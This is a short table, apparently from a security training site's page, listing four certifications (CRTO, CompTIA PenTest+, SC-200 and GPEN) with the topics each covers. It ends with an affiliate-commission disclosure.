| CRTO — Certified Red Team Operator | Cobalt Strike, Active Directory enumeration, lateral movement, and persistence techniques | Learn More |
| CompTIA PenTest+ (PT0-003) | Planning, scoping, and performing penetration tests including AD-focused assessments | Learn More |
| SC-200 — Microsoft Security Operations Analyst | KQL detection queries, Microsoft Sentinel analytics, Defender for Identity, incident investigation | Learn More |
| GPEN — GIAC Penetration Tester | Network and AD penetration testing, password attacks, exploitation, and post-exploitation | Learn More |
These links are provided for reference. Nexus SecOps may earn a commission from qualifying purchases, which helps support free security education content.